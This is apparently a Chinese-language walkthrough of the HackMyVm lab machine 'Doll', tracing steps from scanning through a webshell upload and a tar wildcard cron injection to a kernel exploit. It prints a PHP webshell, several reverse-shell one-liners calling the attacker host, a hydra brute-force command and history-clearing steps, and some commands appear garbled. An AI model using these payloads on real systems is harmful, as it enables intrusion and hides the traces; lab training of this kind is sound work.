HackMyVm靶机Doll渗透实战:从Web漏洞到内核提权
1. HackMyVm靶机Doll渗透实战解析Doll是HackMyVm平台上一台中等难度的Linux靶机设计初衷是模拟企业环境中常见的配置漏洞组合。我在实际渗透过程中发现这台靶机巧妙融合了Web应用漏洞、服务配置缺陷和权限提升陷阱特别适合用来训练综合渗透能力。下面我会完整还原从信息收集到最终提权的全流程重点讲解每个环节的技术原理和决策逻辑。2. 环境准备与初始侦察2.1 靶机环境配置建议使用VirtualBox导入靶机镜像网络模式选择Host-only或NAT模式。关键配置参数内存分配至少2GB某些漏洞利用需要足够内存网络适配器启用Promiscuous Mode允许混杂模式抓包快照功能在关键步骤前创建快照比如获取初始shell后注意不要将靶机桥接到物理网络避免造成真实环境风险。我在测试时曾因误配置导致同网段设备异常后来固定使用192.168.56.0/24专用网段。2.2 基础信息收集使用Kali Linux作为攻击机首先进行基础网络发现nmap -sn 192.168.56.0/24 # 确定靶机IP arp-scan -l # 交叉验证发现靶机IP为192.168.56.102后进行全端口扫描nmap -p- -T4 -A -v -oN full_scan.nmap 192.168.56.102扫描结果显示两个关键服务端口22/tcpOpenSSH 7.9p1存在已知漏洞端口80/tcpApache httpd 2.4.38Debian3. Web应用渗透阶段3.1 网站目录枚举使用gobuster进行目录爆破gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -o web_scan.log发现关键路径/admin302重定向/backup目录列表启用/robots.txt暴露敏感路径3.2 备份文件分析在/backup目录下发现database.sql.gz文件解压后得到CREATE TABLE users ( id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50) ); INSERT INTO users VALUES(1, admin, d0ll123!#);这里有几个典型安全问题明文存储密码虽然复杂度足够备份文件可公开下载密码包含特殊字符!#可能影响后续爆破3.3 登录绕过尝试使用获取的凭证admin:d0ll123!#尝试登录/admin发现被重定向到/login.php。通过Burp Suite拦截请求原始请求POST /login.php HTTP/1.1 ... usernameadminpasswordd0ll123!#修改为POST /admin/index.php HTTP/1.1 ... usernameadminpasswordd0ll123!#submit1成功绕过前端验证进入后台这里利用了路径验证不严和参数校验缺陷。4. 漏洞利用与初始访问4.1 文件上传漏洞利用在后台发现Theme Upload功能测试文件上传先传合法图片文件确认功能正常尝试上传PHP webshell?php system($_GET[cmd]); ?拦截请求修改Content-Type为image/jpeg成功上传shell.php。4.2 反向Shell建立使用nc监听nc -lvnp 4444通过webshell执行php -r $sockfsockopen(192.168.56.101,4444);exec(/bin/sh -i 3 3 23);获得初始shell后立即升级python3 -c import pty; pty.spawn(/bin/bash) export TERMxterm5. 权限提升路径5.1 横向移动在/home目录发现用户doll检查其.bash_historycat /home/doll/.bash_history显示最近执行过ssh-keygen -t rsa scp id_rsa.pub rootlocalhost:/tmp/在/tmp下找到authorized_keys残留但密钥已被删除。转而检查crontabcat /etc/crontab发现可疑任务* * * * * doll /usr/bin/backup.sh5.2 脚本注入攻击查看/usr/bin/backup.sh内容#!/bin/sh tar -zcf /var/backups/home.tgz /home/doll/*利用通配符注入漏洞cd /home/doll echo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.56.101 5555 /tmp/f shell.sh chmod x shell.sh touch -- --checkpoint1 touch -- --checkpoint-actionexecsh shell.sh等待一分钟后获得doll用户的完整shell。5.3 内核提权检查系统信息uname -a显示内核版本4.19.0-6-amd64搜索可用漏洞searchsploit linux kernel 4.19选择CVE-2019-13272漏洞gcc -s poc.c -o poc ./poc成功获取root权限后在/root目录找到flag.txtcat /root/flag.txt6. 渗透后清理与加固建议6.1 痕迹清理删除webshell和临时文件清除命令历史echo ~/.bash_history history -c6.2 靶机加固建议Web层面禁用目录列表限制备份文件访问实现CSRF防护系统层面更新OpenSSH版本设置crontab权限限制定期打内核补丁7. 典型问题排查记录7.1 SSH爆破防护测试时遇到SSH连接被阻断解决方法hydra -l admin -P rockyou.txt -t 4 -vV -f ssh://192.168.56.102需要添加-s参数指定非标准端口或使用--wait参数延长尝试间隔。7.2 文件上传限制绕过当遇到严格的文件头校验时可以在合法图片后追加PHP代码cat image.jpg shell.php final.jpg.php7.3 反向Shell不稳定建议使用更稳定的Payloadmkfifo /tmp/s; /bin/sh -i /tmp/s 21 | openssl s_client -quiet -connect 192.168.56.101:443 /tmp/s; rm /tmp/s8. 渗透测试方法论总结通过Doll靶机的实战我总结出以下渗透流程信息收集要彻底至少进行两轮扫描凭证复用是突破点多个系统尝试相同密码注意次级漏洞利用如计划任务、环境变量保持多个攻击路径Web和系统漏洞并行测试在实际企业环境中类似Doll这样的中间件配置缺陷和权限管理问题非常普遍。建议在真实测试时重点关注备份文件管理默认凭证使用服务版本漏洞横向移动路径